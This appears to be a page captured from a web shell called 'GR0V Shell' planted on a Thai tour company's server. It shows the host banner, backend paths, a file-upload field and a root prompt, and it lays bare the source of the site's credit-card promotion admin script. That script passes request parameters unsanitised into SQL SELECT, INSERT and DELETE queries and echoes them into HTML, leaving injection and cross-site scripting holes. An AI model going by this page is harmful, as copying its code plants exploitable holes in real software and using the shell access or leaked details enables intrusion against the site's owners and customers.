? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/goods/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/goods/caditcard.php

<?
session_start();
require_once('../../../config.php');
require_once('../../../libs/MySql.php');
require_once('../../../libs/MySqlDB.php');
require_once('../../../libs/function.php');
require_once('../../../libs/global.php');
require_once('../../../libs/backoff_ajax.php');		
require_once('../../../libs/backoff.php');	
require_once('../../../libs/xajax/xajax.inc.php');
require_once('../../../libs/xajax/xajaxExtend.php');	
require_once('../../modules/users/mod_user.php');

$db=new MySql;
$xajax = new xajaxExtend;
function Cancle_card($value)
{
	global $db;
	$objResponse = new xajaxResponse();
$id=$value;

	$res=$db->Query("DELETE FROM tour_option WHERE id = '{$value}' ");
	mysql_fetch_array( $res);

	$objResponse->addAlert('ยกเลิก โปรโมชั่นเรียบร้อย');
	$objResponse->addRedirect("caditcard.php?tour_id=$_GET[tour_id]");
	
	
	return $objResponse;
}
$xajax->registerFunction("Cancle_card");


$xajax->processRequests();
$id=$_GET['tour_id'];

if($_POST['save']){


  $datachk=$db->getRow('tour_option',"WHERE tour_id ='{$_POST['id']}' AND chk_id='{$_POST['card_id'][$k]}' ");	
  if($datachk['id']==""){
			  foreach($_POST['name']  as $k =>$v){
				$addarr=array(
					  'type_option'=>1,
					  'detail'=>$v,     
					   'comment'=>"ทัวร์โปรโมชันบัตรเครติด",    
					   'add_time'=>date('Y-m-d H:i:s',time()),  
					  'add_by'=>$user_login[ID],
					   'tour_id'=>$_POST['id'],    
					   'chk_id'=>$_POST['card_id'][$k],
					  );
					$result=$db->Insert('tour_option',$addarr);
				}//foreach
		
	}else{
	

	
			echo"<script language=\"javascript\">
											alert('มีข้อมููลชุดนี้แล้วค่ะ');
											
											</script>";
	}

	
	if($result){
	echo"<script language=\"javascript\">
									alert('บันทึกเรียบร้อยค่ะ');
									window.close();
									</script>";
	}
}
?>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>บัตรเครติด</title>
<?php 
$xajax->printJavascript('../../../libs/xajax');
?>
</head>

<body>

<form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data">
<table width="500" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#AAAAAA">
  <tr>
    <td colspan="4" align="center">โปรโมชัน บัตรเครดิต </td>
  </tr>

  <?
  $rs=$db->Query("SELECT * FROM  cadit_card ");
  while($data=mysql_fetch_array( $rs)){
  $datachk=$db->getRow('tour_option',"WHERE tour_id ='{$id}' AND chk_id='{$data['id']}' ");	

  ?>
    <tr>
    <td width="93"  style="padding-left:10px;"><?=strtoupper($data['name']);?></td>
    <td width="43">
      <input name="name[]" type="checkbox"  value="<?=$data['picture'];?>"  <? if($datachk['id']!=""){echo  'checked disabled="disabled"'; }else{ echo "";}?> >
      <input name="id" type="hidden" value="<?=$_GET[tour_id]?>">   <label>
      <input type="hidden" name="card_id[]" id="card_id[]" value="<?=$data['id']?>">

      </label></td>
    <td width="190" align="center"><img src="/images/logo_bank/thumbs/<?=$data['picture'];?>" width="100" height="65"></td>
    <td width="164" align="center"><div align="center" onClick="xajax_Cancle_card('<?=$datachk['id']?>')"><u>ยกเลิกโปรโมชั่น</u></div></td>
    </tr>
  <?
  }
  ?>
  <tr>
    <td colspan="4" align="center"><input type="submit" name="save" value="บันทึก" id="save"></td>
    </tr>
</table>    
</form>


</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$